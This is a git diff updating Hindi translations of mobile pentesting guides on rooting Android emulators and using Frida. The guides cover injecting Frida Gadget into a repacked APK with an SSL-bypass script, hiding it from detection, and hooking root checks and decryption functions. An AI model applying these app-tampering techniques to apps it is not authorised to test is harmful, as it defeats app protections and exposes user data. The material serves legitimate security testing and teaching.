-- **`-writable-system`** : рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдкрдХреЗ рдПрдореБрд▓реЗрд╢рди рд╕рддреНрд░ рдХреЗ рджреМрд░рд╛рди рд╕рд┐рд╕реНрдЯрдо рдЗрдореЗрдЬ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реЛред рдЖрдкрдХреЛ рд╕рд╛рде рд╣реА `adb root; adb remount` рднреА рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдирдпрд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред
+- `-screen {touch(default)|multi-touch|o-touch}` : рдПрдореБрд▓реЗрдЯреЗрдб рдЯрдЪ рд╕реНрдХреНрд░реАрди рдореЛрдб рд╕реЗрдЯ рдХрд░реЗрдВред
+- **`-writable-system`** : рдЗрд╕ рдСрдкреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреА рдПрдореБрд▓реЗрд╢рди рд╕рддреНрд░ рдХреЗ рджреМрд░рд╛рди рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╕рд┐рд╕реНрдЯрдо рдЗрдореЗрдЬ рд░рдЦреЗрдВред рдЖрдкрдХреЛ рд╕рд╛рде рдореЗрдВ `adb root; adb remount` рднреА рдЪрд▓рд╛рдирд╛ рд╣реЛрдЧрд╛ред рдпрд╣ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдирдпрд╛ certificate рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИред
-## Linux CLI setup (SDK/AVD quickstart)
+## Linux CLI рд╕реЗрдЯрдЕрдк (SDK/AVD quickstart)
-рдЖрдзрд┐рдХрд╛рд░рд┐рдХ CLI tools Android Studio рдХреЗ рдмрд┐рдирд╛ рддреЗрдЬрд╝, рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЗрдореНрдпреВрд▓реЗрдЯрд░реНрд╕ рдмрдирд╛рдирд╛ рдЖрд╕рд╛рди рдмрдирд╛рддреЗ рд╣реИрдВред
+рдЖрдзрд┐рдХрд╛рд░рд┐рдХ CLI рдЯреВрд▓реНрд╕ Android Studio рдХреЗ рдмрд┐рдирд╛ рддреЗрдЬрд╝, рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдЗрдореБрд▓реЗрдЯрд░ рдмрдирд╛рдиреЗ рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рддреЗ рд╣реИрдВред
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@@ -216,10 +214,10 @@ emulator -avd PixelRootX86 -writable-system -snapshot PixelRootX86_snap
adb root
adb shell whoami # expect: root
```
-рдиреЛрдЯреНрд╕
-- рд╕рд┐рд╕реНрдЯрдо рдЗрдореЗрдЬ рдлреНрд▓реЗрд╡рд░реНрд╕: google_apis (debuggable, adb root рдХреА рдЕрдиреБрдорддрд┐), google_apis_playstore (rootable рдирд╣реАрдВ), aosp/default (рд╣рд▓реНрдХрд╛).
-- рдмрд┐рд▓реНрдб рдкреНрд░рдХрд╛рд░: userdebug рдЕрдХреНрд╕рд░ debug-capable images рдкрд░ `adb root` рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Play Store images рдкреНрд░реЛрдбрдХреНрд╢рди рдмрд┐рд▓реНрдб рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ root рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВред
-- x86_64 рд╣реЛрд╕реНрдЯреНрд╕ рдкрд░, API 28+ рд╕реЗ рдкреВрд░реНрдг-рд╕рд┐рд╕реНрдЯрдо ARM64 рдЗрдореНрдпреВрд▓реЗрд╢рди рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред Android 11+ рдкрд░ рддреЗрдЬрд╝реА рд╕реЗ рдХрдИ ARM-only apps рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрди Google APIs/Play images рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдореЗрдВ per-app ARM-to-x86 translation рд╢рд╛рдорд┐рд▓ рд╣реИред
+Notes
+- System image flavors: google_apis (рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдпреЛрдЧреНрдп, `adb root` рдХреА рдЕрдиреБрдорддрд┐), google_apis_playstore (rootable рдирд╣реАрдВ), aosp/default (рд╣рд▓реНрдХрд╛).
+- Build types: userdebug рдЕрдХреНрд╕рд░ рдбрд┐рдмрдЧ-рд╕рдорд░реНрде рдЗрдореЗрдЬ рдкрд░ `adb root` рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Play Store images production builds рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ root рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВред
+- x86_64 hosts рдкрд░, full-system ARM64 emulation API 28+ рд╕реЗ рд╕рдорд░реНрдерд┐рдд рдирд╣реАрдВ рд╣реИред Android 11+ рдХреЗ рд▓рд┐рдП Google APIs/Play images рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрд┐рдирдореЗрдВ per-app ARM-to-x86 translation рд╢рд╛рдорд┐рд▓ рд╣реИ рддрд╛рдХрд┐ рдХрдИ ARM-only apps рддреЗрдЬрд╝реА рд╕реЗ рдЪрд▓реЗрдВред
### CLI рд╕реЗ рд╕реНрдиреИрдкрд╢реЙрдЯреНрд╕
```bash
@@ -229,24 +227,25 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup
# Boot from a named snapshot (if it exists)
emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup
```
-## ARMтЖТx86 рдмрд╛рдЗрдирд░реА рдЕрдиреБрд╡рд╛рдж (Android 11+)
+## ARMтЖТx86 рдмрд╛рдЗрдирд░реА рдЯреНрд░рд╛рдВрд╕рд▓реЗрд╢рди (Android 11+)
-Android 11+ рдкрд░ Google APIs рдФрд░ Play Store images рдкреНрд░рддрд┐ рдкреНрд░реЛрд╕реЗрд╕ ARM app binaries рдХрд╛ рдЕрдиреБрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕реЗ рдХреЛ native x86/x86_64 рдкрд░ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ desktop рдкрд░ рдХрдИ ARM-only apps рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рддреЗрдЬрд╝ рд╣реЛрддрд╛ рд╣реИред
+Google APIs рдФрд░ Play Store images Android 11+ рдкрд░ рдкреНрд░реЛрд╕реЗрд╕-рд╡рд╛рд░ ARM рдРрдк рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдЯреНрд░рд╛рдВрд╕рд▓реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдмрдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдмрд╛рдХреА рд╣рд┐рд╕реНрд╕рд╛ native x86/x86_64 рд░рд╣рддрд╛ рд╣реИред рдпрд╣ рдЕрдХреНрд╕рд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдкрд░ рдХрдИ ARM-only рдРрдкреНрд╕ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рддреЗрдЬрд╝ рд╣реЛрддрд╛ рд╣реИред
-> рдЯрд┐рдк: pentests рдХреЗ рджреМрд░рд╛рди Google APIs x86/x86_64 images рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред Play images рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИрдВ рд▓реЗрдХрд┐рди `adb root` рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреА рд╣реИрдВ; рдЗрдиреНрд╣реЗрдВ рддрднреА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрдм рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Play services рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рдФрд░ root рдХреЗ рдЕрднрд╛рд╡ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрдВред
+> Tip: pentests рдХреЗ рджреМрд░рд╛рди Google APIs x86/x86_64 images рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВред Play images рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИрдВ рд▓реЗрдХрд┐рди `adb root` рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рддреЗ рд╣реИрдВ; рдЗрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рддрдм рд╣реА рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдЬрдм рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ Play services рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рдФрд░ root рдХреА рдХрдореА рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реЛрдВред
## Rooting a Play Store device
-рдпрджрд┐ рдЖрдкрдиреЗ Play Store рд╡рд╛рд▓рд╛ device рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рд╣реИ рддреЛ рдЖрдк рд╕реАрдзреЗ root рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдорд┐рд▓реЗрдЧрд╛
+рдпрджрд┐ рдЖрдкрдиреЗ Play Store рдХреЗ рд╕рд╛рде рдХреЛрдИ рдбрд┐рд╡рд╛рдЗрд╕ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕реАрдзреЗ root рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рдФрд░ рдЖрдкрдХреЛ рдпрд╣ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдорд┐рд▓реЗрдЧрд╛
```
$ adb root
adbd cannot run as root in production builds
```
-Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореИрдВ рдЗрд╕реЗ root рдХрд░ рдкрд╛рдпрд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**рдпрд╣ рд╡реАрдбрд┐рдпреЛ**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) рдпрд╛ [**рдпрд╣ рд╡рд╛рд▓рд╛**](https://www.youtube.com/watch?v=qQicUW0svB8)).
+Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) рдореИрдВ рдЗрд╕реЗ root рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣рд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) рдпрд╛ [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8) рджреЗрдЦреЗрдВ).
## Burp Certificate рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ
-custom CA cert рдХреИрд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рджреЗрдЦреЗрдВ:
+рдХрд╕реНрдЯрдо CA cert рдХреИрд╕реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реИ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрдЬ рджреЗрдЦреЗрдВ:
+
{{#ref}}
install-burp-certificate.md
diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
index d0ab26e21..327c8181f 100644
--- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
@@ -10,12 +10,12 @@
pip install frida-tools
pip install frida
```
-**рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓** Android рдореЗрдВ **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
-adb рдХреЛ root рдореЛрдб рдореЗрдВ restart рдХрд░рдиреЗ, рдЙрд╕рд╕реЗ connect рдХрд░рдиреЗ, frida-server рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ, exec permissions рджреЗрдиреЗ рдФрд░ рдЗрд╕реЗ рдмреИрдХрдЧреНрд░рд╛рдЙрдВрдб рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП One-liner:
+**рдбрд╛рдЙрдирд▓реЛрдб рдФрд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ** рдПрдВрдбреНрд░реЙрдЗрдб рдореЗрдВ **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
+рдПрдХ-рд▓рд╛рдЗрди рдХрдорд╛рдВрдб рдЬреЛ adb рдХреЛ root рдореЛрдб рдореЗрдВ restart рдХрд░рдиреЗ, рдЙрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ, frida-server рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ, exec permissions рджреЗрдиреЗ рдФрд░ рдЗрд╕реЗ рдкреГрд╖реНрдарднреВрдорд┐ рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
-**рдЬрд╛рдБрдЪреЗрдВ** рдХреНрдпрд╛ рдпрд╣ **рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ**:
+**рдЬрд╛рдВрдЪреЗрдВ** рдХрд┐ рдпрд╣ **рдХрд╛рдо рдХрд░ рд░рд╣рд╛ рд╣реИ**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i #Get all the package name
@@ -24,8 +24,8 @@ frida-ps -U | grep -i #Get all the package name
Frida рдХреЗ рд╕рд╛рде Android apps рдХреЛ instrument рдХрд░рдиреЗ рдХреЗ рджреЛ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ:
-- Frida server (rooted devices): рдПрдХ native daemon рдХреЛ push рдХрд░рдХреЗ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА process рд╕реЗ attach рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
-- Frida Gadget (no root): Frida рдХреЛ APK рдХреЗ рдЕрдВрджрд░ рдПрдХ shared library рдХреЗ рд░реВрдк рдореЗрдВ bundle рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ target process рдХреЗ рднреАрддрд░ auto-load рдХрд░рд╛рдПрдБред
+- Frida server (rooted devices): рдПрдХ native daemon рдХреЛ push рдХрд░рдХреЗ рдФрд░ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА process рдореЗрдВ attach рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
+- Frida Gadget (no root): Frida рдХреЛ APK рдХреЗ рдЕрдВрджрд░ рдПрдХ shared library рдХреЗ рд░реВрдк рдореЗрдВ bundle рдХрд░реЗрдВ рдФрд░ рдЙрд╕реЗ target process рдХреЗ рдЕрдВрджрд░ auto-load рдХрд░рд╛рдПрдБред
Frida server (rooted)
```bash
@@ -43,20 +43,20 @@ frida -U -n com.example.app
Frida Gadget (no-root)
1) APK рдХреЛ рдЕрдирдкреИрдХ рдХрд░реЗрдВ, gadget .so рдФрд░ config рдЬреЛрдбрд╝реЗрдВ:
-- libfrida-gadget.so рдХреЛ lib// рдореЗрдВ рд░рдЦреЗрдВ (e.g., lib/arm64-v8a/)
-- assets/frida-gadget.config рдмрдирд╛рдПрдБ рдФрд░ рдЗрд╕рдореЗрдВ рдЕрдкрдиреА script рд▓реЛрдб рдХрд░рдиреЗ рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдбрд╛рд▓реЗрдВ
+- libfrida-gadget.so рдХреЛ lib// рдореЗрдВ рд░рдЦреЗрдВ (рдЙрджрд╛., lib/arm64-v8a/)
+- assets/frida-gadget.config рдмрдирд╛рдПрдВ рдФрд░ рдЙрд╕рдореЗрдВ рдЕрдкрдиреЗ script loading settings рдбрд╛рд▓реЗрдВ
-Example frida-gadget.config
+рдЙрджрд╛рд╣рд░рдг frida-gadget.config
```json
{
"interaction": { "type": "script", "path": "/sdcard/ssl-bypass.js" },
"runtime": { "logFile": "/sdcard/frida-gadget.log" }
}
```
-2) рдЧреИрдЬреЗрдЯ рдХреЛ рд░реЗрдлрд╝рд░реЗрдВрд╕/рд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЬрд▓реНрджреА рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛ:
-- рд╕рдмрд╕реЗ рдЖрд╕рд╛рди: Application.onCreate() рдореЗрдВ System.loadLibrary("frida-gadget") рдХреЙрд▓ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдЫреЛрдЯрд╛ Java stub рдЬреЛрдбрд╝реЗрдВ, рдпрд╛ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж native lib loading рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
+2) рдЧреИрдЬреЗрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд/рд▓реЛрдб рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЬрд▓реНрджреА рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рд╣реЛ:
+- рд╕рдмрд╕реЗ рдЖрд╕рд╛рди: рдПрдХ рдЫреЛрдЯрд╛ Java stub рдЬреЛрдбрд╝реЗрдВ рдЬреЛ System.loadLibrary("frida-gadget") рдХреЛ Application.onCreate() рдореЗрдВ рдХреЙрд▓ рдХрд░реЗ, рдпрд╛ рдкрд╣рд▓реЗ рд╕реЗ рдореМрдЬреВрдж native lib loading рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
-3) APK рдХреЛ рд░рд┐рдкреИрдХ рдФрд░ рд╕рд╛рдЗрди рдХрд░реЗрдВ, рдлрд┐рд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ:
+3) APK рдХреЛ рд░реАрдкреИрдХ рдФрд░ рд╕рд╛рдЗрди рдХрд░реЗрдВ, рдлрд┐рд░ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ:
```bash
apktool d app.apk -o app_m
# ... add gadget .so and config ...
@@ -64,44 +64,44 @@ apktool b app_m -o app_gadget.apk
uber-apk-signer -a app_gadget.apk -o out_signed
adb install -r out_signed/app_gadget-aligned-debugSigned.apk
```
-4) рд╣реЛрд╕реНрдЯ рд╕реЗ gadget process рдореЗрдВ Attach рдХрд░реЗрдВ:
+4) host рд╕реЗ gadget process рдХреЛ Attach рдХрд░реЗрдВ:
```bash
frida-ps -Uai
frida -U -n com.example.app
```
-Notes
-- рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп Gadget рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ; names/paths рдХреЛ рдЫрд┐рдкрд╛ рд░рдЦреЗрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдЙрдиреНрд╣реЗрдВ рджреЗрд░ рд╕реЗ/рд╢рд░реНрддреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд▓реЛрдб рдХрд░реЗрдВред
-- рд╕рдЦреНрдд-рд╕реБрд░рдХреНрд╖рд╛ рд╡рд╛рд▓реЗ рдРрдкреНрд╕ рдкрд░, server + late attach рдХреЗ рд╕рд╛рде rooted testing рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ, рдпрд╛ Magisk/Zygisk hiding рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрд┐рдд рдХрд░реЗрдВред
+рдиреЛрдЯреНрд╕
+- Gadget рдХреБрдЫ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ; рдирд╛рдо/рдкрдереЛрдВ рдХреЛ рдЧреБрдкреНрдд рд░рдЦреЗрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░ рдЗрдиреНрд╣реЗрдВ рджреЗрд░ рд╕реЗ/рд╢рд░реНрддреЛрдВ рдкрд░ рд▓реЛрдб рдХрд░реЗрдВред
+- рд╕рдЦреНрдд рд╕реБрд░рдХреНрд╖рд╛ рд╡рд╛рд▓реЗ apps рдкрд░, rooted testing with server + late attach рдХреЛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рджреЗрдВ, рдпрд╛ Magisk/Zygisk hiding рдХреЗ рд╕рд╛рде рд╕рдВрдпреЛрдЬрди рдХрд░реЗрдВред
-## рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓реНрд╕
+## рдЯреНрдпреВрдЯреЛрд░рд┐рдпрд▓
### [Tutorial 1](frida-tutorial-1.md)
**рд╕реНрд░реЛрдд**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
-**рд╕реНрд░реЛрдд рдХреЛрдб**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
+**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
-**рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ](frida-tutorial-1.md).**
+**Follow the [link to read it](frida-tutorial-1.md).**
### [Tutorial 2](frida-tutorial-2.md)
**рд╕реНрд░реЛрдд**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
-**APKs рдФрд░ рд╕реНрд░реЛрдд рдХреЛрдб**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
+**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
-**рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ](frida-tutorial-2.md).**
+**Follow the[ link to read it.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
**рд╕реНрд░реЛрдд**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
-**рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ](owaspuncrackable-1.md).**
+**Follow the [link to read it](owaspuncrackable-1.md).**
-**рдЖрдк рдпрд╣рд╛рдВ рдФрд░ Awesome Frida scripts рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## рддреНрд╡рд░рд┐рдд рдЙрджрд╛рд╣рд░рдг
-### рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╕реЗ Frida рдХреЙрд▓ рдХрд░рдирд╛
+### command line рд╕реЗ Frida рдХреЙрд▓ рдХрд░рдирд╛
```bash
frida-ps -U
@@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#frozen so that the instrumentation can occur, and the automatically
#continue execution with our modified code.
```
-### рдмреЗрд╕рд┐рдХ Python рд╕реНрдХреНрд░рд┐рдкреНрдЯ
+### рдмреБрдирд┐рдпрд╛рджреА Python Script
```python
import frida, sys
@@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
-### рдмрд┐рдирд╛ рдкреИрд░рд╛рдореАрдЯрд░ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХрд╛ Hooking
+### Hooking functions without parameters
рдХреНрд▓рд╛рд╕ `sg.vantagepoint.a.c` рдХреЗ рдлрд╝рдВрдХреНрд╢рди `a()` рдХреЛ Hook рдХрд░реЗрдВ
```javascript
@@ -137,7 +137,7 @@ return false;
};
});
```
-java рдХреЗ `exit()` рдХреЛ Hook рдХрд░реЗрдВ
+Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) {
@@ -168,9 +168,9 @@ send("Activity HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
}
```
-### Hooking functions with parameters рдФрд░ рд╡реИрд▓реНрдпреВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
+### рдкреИрд░рд╛рдореАрдЯрд░реНрд╕ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЛ Hook рдХрд░рдирд╛ рдФрд░ value рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛
-рдПрдХ decryption function рдХреЛ Hook рдХрд░рдирд╛ред input рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ, рдореВрд▓ function рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ, input рдХреЛ decrypt рдХрд░реЗрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ, plain data рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ:
+рдПрдХ decryption function рдХреЛ Hook рдХрд░рдирд╛ред input рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ, original function рдХреЛ рдХреЙрд▓ рдХрд░рдХреЗ input рдХреЛ decrypt рдХрд░реЗрдВ рдФрд░ рдЕрдВрдд рдореЗрдВ plain data рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ:
```javascript
function getString(data) {
var ret = ""
@@ -197,7 +197,7 @@ return ret //[B
```
### Hooking functions рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╣рдорд╛рд░реЗ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдирд╛
-Hook рдПрдХ function рдЬреЛ рдПрдХ string рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп string рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░реЗрдВ (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
+рдПрдХ function рдЬреЛ рдПрдХ string рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдЙрд╕реЗ Hook рдХрд░реЗрдВ рдФрд░ рдЙрд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп string рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░реЗрдВ (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
